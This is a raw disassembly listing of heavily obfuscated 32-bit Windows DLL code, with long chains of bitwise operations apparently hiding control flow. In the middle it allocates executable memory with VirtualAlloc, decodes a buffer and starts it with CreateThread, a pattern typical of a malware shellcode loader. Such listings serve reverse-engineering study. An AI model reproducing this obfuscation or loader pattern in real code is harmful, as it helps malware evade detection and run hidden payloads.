and ebx, 0xf21c32a1
mov ebp, eax
and ebp, 0xde3cd5e
or ebp, ebx
or edx, edi
and edi, 0xf21c32a1
and esi, 0xde3cd5e
or esi, edi
xor esi, ebp
not edx
or edx, esi
mov edi, edx
xor edi, 0x4c8ab248
and edi, edx
mov ebx, edi
not ebx
mov esi, ebx
and esi, 0xbd028c32
mov edx, edi
and edx, 0x42fd73cd
or edx, esi
mov esi, edx
xor esi, 0x42fd73cd
mov dword [esp + 4], esi
xor edx, 0xbd028c32
mov ebp, edx
or ebp, 0x11702
and ebp, 0x329377aa
and esi, 0xc4688041
or esi, ebp
mov eax, dword [esp]
or eax, 0xb3754db7
or ebx, 0x329260a8
and ebx, 0x329377aa
and edi, 0x9040814
or edi, ebx
mov dword [esp], eax
mov ebp, eax
not ebp
xor edi, esi
mov esi, ebp
and esi, 0x802040
and eax, 0x563a8008
or eax, esi
mov ebx, ebp
and ebx, 0x8001200
or ebx, 0x20c02041
xor ebx, eax
xor ebx, edi
mov eax, edx
and eax, 0xc5e651a
mov esi, dword [esp + 4]
and esi, 0xf3a19ae5
or esi, eax
mov edi, ecx
not edi
xor ebx, 0x800040a0
or edx, ebp
and ebp, 0xc0a2008
mov eax, dword [esp]
and eax, 0xf3a19ae5
or eax, ebp
xor eax, esi
not edx
or edx, eax
not edx
or edx, ebx
mov esi, edx
mov eax, edx
xor eax, 0x4c8ab249
and eax, edx
or edx, 0xb3754db6
not esi
mov ebx, eax
not ebx
mov ebp, edx
and ebp, 0xc5324fa2
and esi, 0x888b049
or esi, ebp
or edx, ebx
and ebx, 0xc5324fa2
and eax, 0x3acdb05d
or eax, ebx
xor eax, esi
not edx
or edx, eax
mov eax, ecx
mov ebx, edi
and ebx, ecx
mov esi, edi
and esi, 0x45b061a1
and ecx, 0xba4f9e5e
or ecx, esi
not ecx
or ecx, edi
and edi, 0xd25d1b60
and eax, 0x2da2e49f
or eax, edi
xor eax, 0x2da2e49f
mov esi, ebx
or esi, eax
mov dword [esp + 0x1c], esi
mov ebp, edx
not ebp
mov eax, ebp
and eax, 0xac08611d
mov edi, edx
xor edi, 0xac08611d
and edi, edx
or edi, eax
mov dword [esp + 0x14], edi
mov eax, esi
not eax
mov dword [esp + 4], eax
and eax, 0x92086cd3
and esi, 0x6df7932c
or esi, eax
mov eax, edi
xor eax, 0x53f79ee2
mov dword [esp + 8], eax
mov ebx, edi
xor ebx, 0xac08611d
mov dword [esp + 0x10], ebx
mov eax, ebx
and eax, 0xba4f9e5e
mov edi, dword [esp + 8]
and edi, 0x45b061a1
or edi, eax
mov eax, edi
xor eax, ebx
and eax, edi
mov dword [esp + 0xc], eax
mov eax, ebp
and eax, 0x45b061a1
and edx, 0xba4f9e5e
or edx, eax
xor ebp, edx
and ebp, edx
mov dword [esp + 0x20], ebp
xor esi, 0xd7b80d72
or esi, dword [esp + 4]
mov eax, esi
not eax
mov edx, esi
and edx, 0xd6c3b8
xor esi, 0xcce9afc9
and esi, eax
and eax, 0xff293c47
or eax, edx
mov ebx, ecx
not ebx
mov edx, ecx
and edx, 0x90fa4e2d
xor ecx, 0xcce9afc9
and ecx, ebx
and ebx, 0x6f05b1d2
or ebx, edx
mov edx, eax
xor edx, 0xd6c3b8
mov dword [esp], edx
or edx, 0xcce9afc9
mov dword [esp + 0x24], eax
xor eax, 0x12000004
mov edi, edx
and edi, 0x696fdc6b
and eax, 0x12100014
or eax, edi
mov edi, esi
not edi
or edx, edi
and edi, 0x696fdc6b
and esi, 0x96902394
or esi, edi
xor esi, eax
not edx
or edx, esi
mov esi, ebx
xor esi, 0x6f05b1d2
mov edi, ebx
xor edi, 0xa3ec1e1b
and edi, esi
mov eax, edi
not eax
mov ebp, eax
and ebp, 0xfa2273db
and edi, 0x5dd8c24
or edi, ebp
mov ebp, ecx
not ebp
or eax, ebp
and ebp, 0xfa2273db
and ecx, 0x5dd8c24
or ecx, ebp
xor ecx, edi
not eax
or eax, ecx
mov ecx, eax
xor ecx, eax
not ecx
and ecx, edx
xor ecx, eax
mov edi, dword [esp + 0x24]
xor edi, 0xf6200840
mov edx, dword [esp]
mov eax, edx
and eax, 0x9cff687
and edi, 0xf6300978
or edi, eax
xor ebx, 0x90fa4e2d
or edx, ebx
mov eax, edx
and ebx, 0x9cff687
and esi, 0xf6300978
or esi, ebx
xor esi, edi
not eax
or eax, esi
mov esi, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0x2d35c08a
and ecx, 0xd2ca3f75
or ecx, eax
xor ecx, esi
or edx, esi
xor ecx, 0xd2ca3f75
not edx
or edx, ecx
mov dword [esp], edx
mov eax, dword [esp + 0xc]
mov edx, eax
not edx
mov dword [esp + 0x24], edx
mov ecx, eax
mov ebx, eax
xor ecx, 0x42e32292
mov esi, ecx
and esi, edx
mov eax, esi
not eax
mov edi, eax
and edi, 0x90a25785
and esi, 0x6f5da87a
or esi, edi
and ecx, ebx
mov edi, ecx
not edi
or eax, edi
and edi, 0x90a25785
and ecx, 0x6f5da87a
or ecx, edi
xor ecx, esi
not eax
or eax, ecx
mov edx, dword [esp + 0x20]
mov esi, edx
not esi
mov ecx, edx
xor ecx, 0x42e32292
and ecx, esi
mov edi, ecx
not edi
mov ebx, edi
and ebx, 0xf814bdf0
and ecx, 0x7eb420f
or ecx, ebx
mov ebx, esi
or ebx, 0x42e32292
or edi, ebx
and ebx, 0xf814bdf0
mov ebp, edx
and ebp, 0x508400d
or ebp, ebx
xor ebp, ecx
not edi
or edi, ebp
mov ecx, edi
xor ecx, edi
not ecx
and ecx, eax
xor ecx, edi
mov edi, dword [esp + 0xc]
mov eax, edi
and eax, 0xf0ece7ea
mov ebx, dword [esp + 0x24]
and ebx, 0xf131815
or ebx, eax
or edi, edx
and edx, 0xf0ece7ea
and esi, 0xf131815
or esi, edx
xor esi, ebx
not edi
or edi, esi
not edi
or edi, ecx
mov esi, dword [esp]
mov eax, esi
not eax
mov ecx, eax
and ecx, 0x17b8b5cf
mov edx, esi
and edx, 0xe8474a30
or edx, ecx
mov ecx, edx
xor ecx, 0x80020000
xor edx, 0x1380348c
or edx, 0x84910
and edx, 0x33c87fbc
and ecx, 0x84020040
or ecx, edx
or eax, 0x33c036ac
and eax, 0x33c87fbc
mov edx, esi
and edx, 0x48358003
or edx, eax
xor edx, edi
xor edx, ecx
mov dword [esp], edx
mov esi, dword [esp + 0x1c]
mov eax, esi
xor eax, 0xbfed8aa4
and eax, esi
mov ebp, eax
mov ecx, dword [esp + 0x14]
xor ecx, 0xec1a1446
mov edi, dword [esp + 8]
and ecx, edi
mov eax, dword [esp + 4]
and eax, 0x1ddaa0f9
and esi, 0xe2255f06
or esi, eax
mov ebx, esi
xor ebx, 0xe2255f06
mov dword [esp + 4], ebx
mov eax, dword [esp + 0x10]
and eax, 0xfacb6ad4
and edi, 0x534952b
or edi, eax
mov edx, esi
xor edx, 0xa2372a5d
and edx, ebx
or ebp, edx
mov dword [esp + 8], ebp
mov ebx, edi
xor ebx, 0x534952b
mov ebp, edi
xor ebp, 0x4526e070
and ebp, ebx
mov edx, ebp
not edx
mov eax, edx
and eax, 0x8d4f184b
and ebp, 0x72b0e7b4
or ebp, eax
mov eax, ecx
not eax
or edx, eax
and eax, 0x8d4f184b
and ecx, 0x72b0e7b4
or ecx, eax
xor ecx, ebp
not edx
or edx, ecx
mov ebp, edx
xor ebp, edx
not ebp
and ebp, dword [esp + 8]
xor ebp, edx
xor esi, 0x1ddaa0f9
mov eax, esi
and eax, 0xed81d8c2
mov ecx, dword [esp + 4]
and ecx, 0x127e273d
or ecx, eax
mov eax, dword [esp]
xor eax, 0xb7c236ec
mov dword [esp + 4], eax
xor edi, 0xfacb6ad4
or esi, edi
and edi, 0xed81d8c2
and ebx, 0x127e273d
or ebx, edi
xor ebx, ecx
not esi
or esi, ebx
not esi
or esi, ebp
mov ecx, esi
not ecx
mov eax, esi
xor eax, 0xab0c9e26
and eax, esi
or esi, 0x54f361d9
mov edx, eax
not edx
mov edi, esi
and edi, 0xdf3943c6
and ecx, 0x20049c20
or ecx, edi
or esi, edx
and edx, 0xdf3943c6
and eax, 0x20c6bc39
or eax, edx
xor eax, ecx
not esi
or esi, eax
mov ebx, esi
xor ebx, 0x54820180
xor esi, 0xab0c9e26
mov eax, esi
and eax, 0xaa71e059
and ebx, 0x558e1fa6
or ebx, eax
xor ebx, 0x558e1fa6
or ebx, esi
mov eax, ebx
not eax
mov edx, dword [esp]
mov ecx, edx
xor ecx, 0x483dc913
mov edi, ecx
mov dword [esp + 8], ecx
mov esi, ebx
and esi, 0x8341cd91
mov ecx, eax
and ecx, 0x7cbe326e
or ecx, esi
xor edx, 0x3c3e0746
mov esi, edx
and esi, edi
and edx, dword [esp + 4]
or edx, esi
mov dword [esp], edx
mov ebp, ecx
xor ebp, 0x7cbe326e
mov edi, ecx
xor edi, 0x8bdfc3b
and edi, ebp
mov esi, edi
not esi
mov edx, esi
and edx, 0x7ce55f77
and edi, 0x831aa088
or edi, edx
or ebx, 0x8bfc31aa
or esi, ebx
and ebx, 0x7ce55f77
and eax, 0x28000
or eax, ebx
xor eax, edi
not esi
or esi, eax
xor esi, dword [esp]
xor ecx, 0x8341cd91
mov edi, dword [esp + 4]
mov eax, edi
and eax, 0xe58333c7
mov edx, dword [esp + 8]
and edx, 0x1a7ccc38
or edx, eax
or edi, ecx
and ecx, 0xe58333c7
and ebp, 0x1a7ccc38
or ebp, ecx
xor ebp, edx
not edi
or edi, ebp
mov ecx, edi
not ecx
mov eax, esi
not eax
mov edx, eax
and edx, 0xe1e30e5d
and esi, 0x1e1cf1a2
or esi, edx
or eax, edi
and edi, 0xe1e30e5d
and ecx, 0x1e1cf1a2
or ecx, edi
xor ecx, esi
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x3ae4cf31
mov esi, eax
xor esi, 0x3ae4cf31
and esi, eax
or esi, edx
mov edx, esi
xor edx, 0xc11b3082
xor esi, 0x18e0c430
and esi, 0x1ce0c47c
and edx, 0xe31f3b83
or edx, esi
mov esi, edx
xor esi, 0xc1043980
xor edx, 0xc80040c
and edx, 0x2e9b060f
and esi, 0xd164f9f0
or esi, edx
mov edx, esi
xor edx, 0xd164f9f0
mov edi, esi
xor edi, 0x22000204
and edi, 0xa200c384
xor esi, 0x23260675
and esi, edx
and edx, 0x50423c01
or edx, edi
xor edx, 0x50423c01
or esi, edx
mov edx, esi
xor edx, 0xf242ff85
xor esi, 0xd0000
and esi, 0x220f7100
mov edi, edx
and edi, 0x4ce00804
or edi, esi
xor edi, 0x4ce00804
and edx, 0x911086fb
or edx, edi
mov ebx, edx
xor ebx, 0x15d71570
mov esi, edx
xor esi, 0x1ed71510
or ebx, 0xa008081
mov edi, edx
xor edi, 0x208c4104
or esi, 0x41200860
xor edx, 0x10000200
and ebx, 0x4b2088e1
and edi, 0xa09c451e
or edi, ebx
and esi, 0x4b2088e1
and edx, 0x14433200
or edx, esi
xor edx, edi
mov esi, edx
xor esi, 0x404c800
xor edx, 0x32002004
and edx, 0x335b22ec
and esi, 0xcca4dd13
or esi, edx
mov edx, esi
xor edx, 0xcca4dd13
xor esi, 0x311b220c
and esi, 0xf19fe31c
mov edi, edx
and edi, 0xe601ce3
or edi, esi
xor edi, 0xea839b75
and edx, 0x1b1c7869
or edx, edi
mov esi, ecx
and esi, 0xa68f988e
and ecx, eax
and eax, 0x59706771
or eax, esi
xor eax, 0x59706771
or eax, ecx
mov ecx, eax
not ecx
mov ebx, eax
xor ebx, 0x704d77a7
mov ebp, ebx
and ebp, ecx
and ebx, eax
mov edi, ebp
not edi
mov esi, edi
and esi, 0x4e6bc149
and ebp, 0xb1943eb6
or ebp, esi
mov esi, ebx
not esi
or edi, esi
and esi, 0x4e6bc149
and ebx, 0xb1943eb6
or ebx, esi
mov esi, edx
not esi
xor ebx, ebp
not edi
or edi, ebx
xor edi, 0x94aef031
and eax, 0x263defa8
mov ebx, ecx
and ebx, 0xd9c21057
or ebx, eax
xor ebx, 0x3d2197c1
and ecx, 0x1b1c7869
or ecx, ebx
not ecx
or ecx, edi
mov ebx, ecx
not ebx
mov edi, edx
or edi, ecx
mov eax, edx
and eax, 0xd29f8b41
mov ebp, esi
and ebp, 0x2d6074be
or ebp, eax
mov eax, ecx
and eax, 0x1280a920
xor ecx, 0x415c54df
and ecx, ebx
and ebx, 0xac230200
or ebx, eax
mov eax, ebp
xor eax, 0x200020
xor ebp, 0x82820200
or edx, 0xae822200
or ebp, 0x404010de
and ebp, 0xeec232de
and eax, 0x10218920
or eax, ebp
mov ebp, ebx
xor ebp, 0x20230200
xor ebx, 0x53dcfdff
and edx, 0xeec232de
and esi, 0x11c4401
or esi, edx
mov edx, ebx
and edx, 0xddc881fc
and ebp, 0x22232a00
or ebp, edx
mov edx, ecx
not edx
or ebx, edx
and edx, 0xddc881fc
and ecx, 0x22377e03
or ecx, edx
xor ecx, ebp
not ebx
or ebx, ecx
xor ebx, esi
xor ebx, eax
mov eax, ebx
and ebx, edi
not edi
not eax
mov ecx, edi
xor ecx, eax
and ecx, edi
and eax, edi
or eax, ebx
or eax, ecx
mov esi, eax
not esi
mov ecx, eax
or ecx, 0x56d679e9
mov edx, eax
xor edx, 0xa9298616
and edx, eax
mov edi, edx
not edi
mov ebx, ecx
and ebx, 0xc5028028
mov ebp, esi
and ebp, 0xbfbe4501
and eax, 0x4041bafe
or eax, ebp
xor eax, 0x5b5dc297
or eax, esi
and esi, 0x28290616
or esi, ebx
or ecx, edi
and edi, 0xc5028028
and edx, 0x3afd7fd7
or edx, edi
xor edx, esi
not ecx
or ecx, edx
mov edx, ecx
xor edx, 0x2004009
xor ecx, 0x80000
and ecx, 0x101c3860
and edx, 0xb004009
or edx, ecx
mov ecx, edx
xor ecx, 0x8000000
or ecx, 0xe4410496
xor edx, 0x2060
and edx, 0x3006069
and ecx, 0xfc5d1c96
or ecx, edx
mov ebx, ecx
xor ebx, 0x81c0000
xor ecx, 0x3a2e369
mov edx, ecx
or edx, eax
not edx
and ecx, 0xb6c058b9
and ebx, 0x91c2040
or ebx, ecx
xor ebx, eax
xor ebx, 0x493fa746
or ebx, edx
mov ecx, ebx
not ecx
mov eax, ebx
xor eax, 0x5a5aa7b5
and eax, ebx
or ebx, 0xa5a5584a
mov edx, eax
not edx
mov esi, ebx
and esi, 0xf49eae08
and ecx, 0xa4001b5
or ecx, esi
or ebx, edx
and edx, 0xf49eae08
and eax, 0xb6151f7
or eax, edx
xor eax, ecx
not ebx
or ebx, eax
mov ecx, ebx
xor ecx, 0xa5a5584a
xor ebx, 0x5a5aa7b5
mov eax, ebx
and eax, 0xce012078
mov edx, ecx
and edx, 0x31fedf87
or edx, eax
mov esi, edx
xor esi, 0x317ed701
xor edx, 0x6002010
and edx, 0x6802896
and esi, 0xf97fd769
or esi, edx
mov edx, esi
xor edx, 0x6802896
mov dword [esp], edx
xor esi, 0xf97fd769
mov eax, esi
mov edi, esi
mov dword [esp + 4], esi
and eax, 0x4a35c00d
mov esi, edx
and esi, 0xb5ca3ff2
or esi, eax
xor esi, 0xd41b93e3
or esi, edi
mov edi, esi
not edi
mov eax, ebx
and eax, 0x9e2e53ee
and ecx, 0x61d1ac11
or ecx, eax
xor ebx, ecx
and ebx, ecx
mov eax, esi
and eax, 0x21b2e187
mov ecx, edi
and ecx, 0xde4d1e78
or ecx, eax
mov dword [esp + 0xc], ecx
mov eax, ebx
not eax
mov dword [esp + 8], eax
mov ecx, ebx
xor ecx, 0x21b2e187
mov ebp, ecx
and ebp, eax
mov edx, ebp
not edx
mov eax, edx
and eax, 0x5c172a91
and ebp, 0xa3e8d56e
or ebp, eax
and ecx, ebx
mov eax, ecx
not eax
or edx, eax
and eax, 0x5c172a91
and ecx, 0xa3e8d56e
or ecx, eax
xor ecx, ebp
not edx
or edx, ecx
xor edx, dword [esp + 0xc]
mov eax, edi
and eax, 0x760350de
and esi, 0x89fcaf21
or esi, eax
or edi, ebx
and ebx, 0x760350de
mov eax, dword [esp + 8]
and eax, 0x89fcaf21
or eax, ebx
xor eax, esi
not edi
or edi, eax
not edi
or edi, edx
xor edi, 0x9e2e53ee
mov esi, dword [esp + 4]
mov ecx, esi
and ecx, 0xa12afe51
mov edx, dword [esp]
mov eax, edx
and eax, 0x5ed501ae
or eax, ecx
mov ecx, esi
and ecx, 0xd59eb36e
and edx, 0x2a614c91
or edx, ecx
mov ecx, eax
xor ecx, 0xa410080
xor eax, 0xa12afe51
or esi, eax
and eax, 0xd59eb36e
and ecx, 0x2a614c91
or ecx, eax
xor ecx, edx
not esi
or esi, ecx
xor esi, edi
and edi, esi
mov eax, esi
not eax
mov ecx, edi
not ecx
mov edx, ecx
and edx, 0x7fa94cbe
and edi, 0x8056b341
or edi, edx
or ecx, esi
and esi, 0x7fa94cbe
and eax, 0x8056b341
or eax, esi
xor eax, edi
not ecx
or ecx, eax
mov edx, ecx
not edx
mov eax, ecx
or eax, 0x80a290
mov edi, edx
or edi, 0x9a0a1009
and eax, 0x9a8ab299
mov ebx, edx
and ebx, 0x44450002
or ebx, eax
and edi, 0x9a8ab299
mov esi, ecx
and esi, 0x21304d64
or esi, edi
xor esi, ebx
mov eax, esi
xor eax, 0x21b0eff4
xor esi, 0x6ece24d4
and esi, eax
and ecx, 0xe3aed5cd
mov eax, edx
and eax, 0x1c512a32
or eax, ecx
xor eax, 0x532fe112
and edx, 0xb08134df
or edx, eax
mov eax, edx
not eax
mov ecx, esi
xor ecx, edx
and ecx, esi
and edx, 0x2c313c89
and eax, 0xd3cec376
or eax, edx
xor eax, esi
xor eax, 0x2c313c89
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
or edx, 0x20114814
mov esi, ecx
or esi, 0x4daa144b
and edx, 0x6dbb5c5f
and ecx, 0x82042000
or ecx, edx
and esi, 0x6dbb5c5f
and eax, 0x104083a0
or eax, esi
xor eax, ecx
mov ecx, eax
xor ecx, 0x80d0ff6b
xor eax, 0x7f2f0094
mov edx, eax
and edx, 0x866581ec
mov esi, ecx
and esi, 0x799a7e13
or esi, edx
mov edx, esi
xor edx, 0x80210040
xor esi, 0x39023e12
and esi, 0x3f46bfbe
and edx, 0xc0b94041
or edx, esi
xor edx, 0xc0b94041
and eax, 0x12e9f0dc
and ecx, 0xed160f23
or ecx, eax
xor ecx, 0xed160f23
or ecx, edx
xor ecx, 0xffffffff
setne dl
sete dh
cmp dword [0x10047904], 0xa
setl cl
setge ch
mov al, dh
xor al, dl
mov byte [esp], dl
mov bh, al
xor bh, 1
mov ah, al
and ah, bh
mov bl, ah
xor bl, 1
or bl, bh
xor bl, 1
or bl, al
or ah, bl
mov al, bl
xor al, 1
or al, dh
inc dh
xor ah, 1
or bl, dl
mov bh, al
xor bh, bl
or al, bl
xor al, 1
or al, bh
mov bl, dh
xor bl, ah
or ah, dh
xor ah, 1
or ah, bl
mov dh, ah
xor dh, 1
mov ebx, eax
xor bl, ah
and bl, al
and ah, al
xor al, 1
and al, dh
or ah, al
or ah, bl
mov dh, ah
xor dh, 1
mov al, ch
mov dl, cl
xor al, cl
mov cl, al
xor cl, 1
mov bh, ch
and bh, al
mov bl, cl
and bl, dl
or bl, bh
mov bh, bl
xor bh, al
and bh, bl
and al, cl
xor al, 1
mov bl, cl
xor bl, al
or al, cl
xor al, 1
or al, bl
xor al, ch
or al, bh
mov ebx, eax
xor bl, 1
and bl, al
xor bl, 1
mov cl, bl
xor cl, al
or bl, al
xor bl, 1
or bl, cl
xor bl, 1
mov al, bl
mov cl, byte [esp]
xor al, cl
not al
and al, cl
or bl, cl
xor bl, 1
or bl, al
mov al, dh
or al, ch
or ah, dl
mov cl, al
xor cl, ah
or al, ah
xor al, 1
or al, cl
xor ch, dh
and ch, dh
xor ah, 1
xor dh, dl
and dh, dl
or dh, ah
or dh, ch
xor dh, 1
xor al, dh
mov dl, al
xor dl, 1
and dh, dl
mov cl, dh
xor cl, 1
or dl, cl
and cl, al
or cl, dh
xor cl, 1
mov eax, ecx
xor al, dl
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov ah, al
and ah, cl
xor ah, 1
mov edx, ecx
or dl, ah
xor ah, cl
xor dl, 1
or dl, ah
mov ah, cl
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
mov ch, dl
xor ch, 1
and ch, cl
or cl, dl
and dl, al
or ch, dl
xor ch, 1
mov eax, ecx
or al, ch
xor ch, cl
xor ch, 1
mov cl, al
xor cl, ch
or ch, al
xor ch, 1
or ch, cl
mov ah, bl
mov byte [esp + 4], bl
mov al, bl
xor al, 1
mov byte [esp], al
and ah, al
xor ah, 1
mov edx, eax
xor dl, ah
or ah, al
mov cl, ah
xor cl, 1
or dl, cl
mov ebx, edx
xor bl, 1
mov byte [esp + 8], bl
mov dh, dl
and dh, bl
xor dh, 1
mov al, bl
xor al, dh
or dh, bl
xor dh, 1
or dh, al
mov ebx, ecx
and bl, ah
xor bl, 1
mov al, ah
xor al, bl
or bl, ah
xor bl, 1
or bl, al
mov al, dh
xor al, 1
and dh, al
xor dh, 1
mov bh, al
xor bh, dh
or dh, al
xor dh, 1
or dh, bh
mov bh, ch
xor bh, 1
xor dh, bl
mov al, cl
or al, dl
and dl, ah
mov bl, ch
mov byte [esp + 0xc], bh
and bl, bh
xor bl, 1
or bl, bh
xor bl, 1
or bl, ch
mov ah, byte [esp + 8]
and ah, cl
or dl, ah
mov ah, bl
xor ah, 1
mov byte [esp + 8], ah
and bl, ah
xor al, 1
or dl, al
xor dl, 1
mov al, dh
xor al, dl
or dl, dh
mov bh, bl
xor bh, ah
and bh, bl
xor dl, 1
or dl, al
xor dl, 1
or dl, al
mov al, bh
xor al, 1
mov dh, bh
mov ah, byte [esp + 0xc]
and bh, ah
and ah, al
and dh, ch
or dh, ah
xor dh, 1
or dh, al
and al, ch
mov ah, dh
xor ah, 1
or bh, al
mov al, dh
and al, ah
xor al, 1
or al, ah
xor bh, 1
xor al, 1
or al, dh
xor al, bh
or bh, dh
xor bh, 1
or bh, al
mov al, bh
xor al, 1
or al, dl
mov dh, dl
xor dh, 1
mov dl, al
xor dl, 1
or dh, bh
mov ah, dh
xor ah, 1
and dl, dh
and ah, al
or ah, dl
or dh, al
xor dh, 1
or dh, ah
xor bl, 1
mov ch, byte [esp + 8]
mov al, ch
xor al, bl
or bl, ch
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
mov ah, byte [esp + 4]
or cl, ah
mov dl, cl
xor dl, 1
and dl, bl
and cl, al
or cl, dl
mov dl, byte [esp]
xor ch, dl
xor al, dl
or bl, ah
xor bl, 1
or bl, al
xor cl, 1
mov eax, ecx
xor al, bl
or cl, bl
xor cl, 1
or cl, al
mov dl, cl
xor dl, 1
mov ah, ch
mov al, ch
xor al, cl
and al, ch
and cl, ch
xor ah, 1
and ah, dl
or cl, ah
mov dl, al
xor dl, 1
xor al, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, al
xor cl, 1
mov eax, ecx
xor al, dh
or cl, dh
xor cl, 1
or cl, al
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, cl
test dl, 1
mov edi, 0x1983f8fb
mov edx, 0x6d6c31f7
cmovne edi, edx
test cl, 1
cmove edi, edx
test al, 1
mov eax, 0x1983f8fb
cmove edi, eax
jmp 0x10008b80
mov edi, 0x7927360c
push 0x40
push 0x1000
push dword [esp + 0x3c]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esp + 0x2c], eax
jmp 0x10008b80
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xffffffffffffffaa
push dword [esp + 0x38]
mov esi, dword [esp + 0x34]
push esi
call section..text
add esp, 0xc
push 0
push 0
push esi
push 0x10008b00
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esp + 0x3c], eax
test eax, eax
setne byte [esp + 0x3b]
mov eax, dword [0x10047900]
lea edi, [eax + 1]
imul edi, eax
mov ebx, edi
not ebx
mov eax, ebx
and eax, edi
mov edx, eax
not edx
mov ecx, edi
and ecx, 0xbe1fdbfc
mov esi, ebx
and esi, 0x41e02403
or esi, ecx
mov ecx, edi
mov ebp, edi
mov dword [esp + 8], edi
or ecx, edx
and edx, 0xbe1fdbfc
and eax, 0x41e02403
or eax, edx
xor eax, esi
not ecx
or ecx, eax
mov edi, ecx
not edi
and ecx, 0x423a48b3
and edi, 0xbdc5b74c
or edi, ecx
mov dword [esp + 4], ebx
mov eax, ebx
and eax, 0x7bcf7e04
mov ecx, ebp
and ecx, 0x843081fb
or ecx, eax
xor ecx, 0x843081fb
mov esi, ecx
xor esi, ebx
and esi, ecx
mov eax, esi
not eax
mov dword [esp + 0xc], eax
and eax, 0x6133d9c7
mov ebx, esi
and ebx, 0x9ecc2638
or ebx, eax
mov eax, edi
xor eax, 0x423a48b3
mov dword [esp], eax
mov edx, edi
xor edi, 0x9a6d7ebc
mov ecx, edi
and ecx, eax
mov ebp, ecx
not ebp
mov eax, ebp
and eax, 0x75ec7e17
and ecx, 0x8a1381e8
or ecx, eax
xor edx, 0xbdc5b74c
mov dword [esp + 0x10], edx
and edi, edx
mov eax, edi
not eax
or ebp, eax
and eax, 0x75ec7e17
and edi, 0x8a1381e8
or edi, eax
xor edi, ecx
not ebp
or ebp, edi
mov ecx, ebx
xor ecx, 0x9ecc2638
mov eax, ebx
xor eax, 0x469b1037
and eax, ecx
mov edi, eax
not edi
mov edx, edi
and edx, 0xcf0c81ed
and eax, 0x30f37e12
or eax, edx
mov edx, dword [esp + 0xc]
or edx, 0x27a8c9f0
or edi, edx
and edx, 0xcf0c81ed
and esi, 0x10533602
or esi, edx
xor esi, eax
not edi
or edi, esi
xor edi, ebp
mov esi, dword [esp + 0x10]
mov eax, esi
and eax, 0x1ecf7287
mov edx, dword [esp]
and edx, 0xe1308d78
or edx, eax
xor ebx, 0x6133d9c7
or esi, ebx
mov eax, esi
and ebx, 0x1ecf7287
and ecx, 0xe1308d78
or ecx, ebx
xor ecx, edx
not eax
or eax, ecx
mov edx, eax
mov eax, edi
not eax
mov ecx, eax
and ecx, 0x24d7986a
and edi, 0xdb286795
or edi, ecx
xor edi, edx
xor edi, 0xdb286795
or eax, edx
not eax
or eax, edi
mov edx, eax
not edx
mov ecx, edx
and ecx, 1
and eax, 0xfcec3f3a
and edx, 0x313c0c4
or edx, eax
xor edx, 0x313c0c4
or edx, ecx
mov eax, edx
not eax
mov ecx, eax
and ecx, 1
and edx, 0xfffffffe
or edx, ecx
not edx
or edx, eax
mov edi, edx
mov dword [esp], edx
mov esi, dword [esp + 8]
mov eax, esi
or eax, 0x13234c08
mov edx, dword [esp + 4]
mov ecx, edx
or ecx, 0xa0809352
and eax, 0xb3a3df5a
and edx, 0x44000020
or edx, eax
and ecx, 0xb3a3df5a
and esi, 0x85c2085
or esi, ecx
xor esi, edx
mov ecx, esi
xor ecx, 0x1b7f6c8d
xor esi, 0xe4809372
mov eax, esi
and esi, 0xfffffffe
mov edx, ecx
and edx, 1
or edx, esi
or eax, 1
mov esi, eax
and esi, 0xee516942
and ecx, 0x11ae96bc
or ecx, esi
mov esi, edx
not esi
or eax, esi
and esi, 0xee516942
and edx, 0x11ae96bd
or edx, esi
xor edx, ecx
not eax
or eax, edx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xa184084
mov ebp, edx
and ebp, 0x10a10c02
or ebp, ecx
xor ebp, 0x10a10c02
mov ecx, eax
xor ecx, 0xe546b379
and ecx, edx
or ebp, ecx
not ecx
and ecx, 0xe546b379
and ebp, 0x1ab94c86
or ebp, ecx
mov ebx, edi
not ebx
mov dword [esp + 0x10], ebx
mov ecx, ebx
and ecx, 0xb35e5009
mov esi, edi
and esi, 0x4ca1aff6
or esi, ecx
mov edi, esi
xor edi, ebx
and edi, esi
mov ecx, ebp
not ecx
mov dword [esp + 0x14], ecx
and ecx, 0xa88cd7be
mov esi, ebp
and esi, 0x57732841
or esi, ecx
mov ebx, esi
xor ebx, 0x57732841
xor esi, 0x8c530
and esi, 0x37bc531
mov ecx, ebx
and ecx, 0xfc843ace
or ecx, esi
xor ecx, 0xb0259538
and ebx, 0xb35e5009
or ebx, ecx
mov dword [esp + 0x1c], ebx
and eax, 0xe6407204
and edx, 0x19bf8dfb
or edx, eax
mov esi, edx
xor esi, 0x19bf8dfb
xor edx, 0x66006004
and edx, 0x7616eddc
mov eax, esi
and eax, 0x89e91223
or eax, edx
xor eax, 0x3ab7422a
and esi, 0x4ca1aff6
or esi, eax
mov ecx, edi
not ecx
mov eax, edi
mov ebx, edi
mov dword [esp + 0xc], edi
xor eax, 0x37b7ce82
and eax, ecx
mov edi, ecx
mov dword [esp + 0x20], ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xc506d082
and eax, 0x3af92f7d
or eax, edx
mov edx, edi
or edx, 0x37b7ce82
or ecx, edx
and edx, 0xc506d082
mov edi, ebx
and edi, 0x848217d
or edi, edx
xor edi, eax
not ecx
or ecx, edi
mov edi, dword [esp]
or edi, 0x4ca1aff6
mov ebx, edi
not ebx
mov eax, ebx
or eax, 0x88482034
and eax, 0xaa5a2034
mov edx, edi
and edx, 0x15854a02
or edx, eax
mov eax, dword [esp]
or eax, 0x2a324b42
and eax, 0xaa7a5b4b
xor eax, edx
xor eax, 0xffff
mov edx, eax
xor edx, eax
not edx
and edx, ecx
xor edx, eax
mov eax, dword [esp + 0xc]
and eax, 0xad08db8f
mov ecx, dword [esp + 0x20]
and ecx, 0x52f72470
or ecx, eax
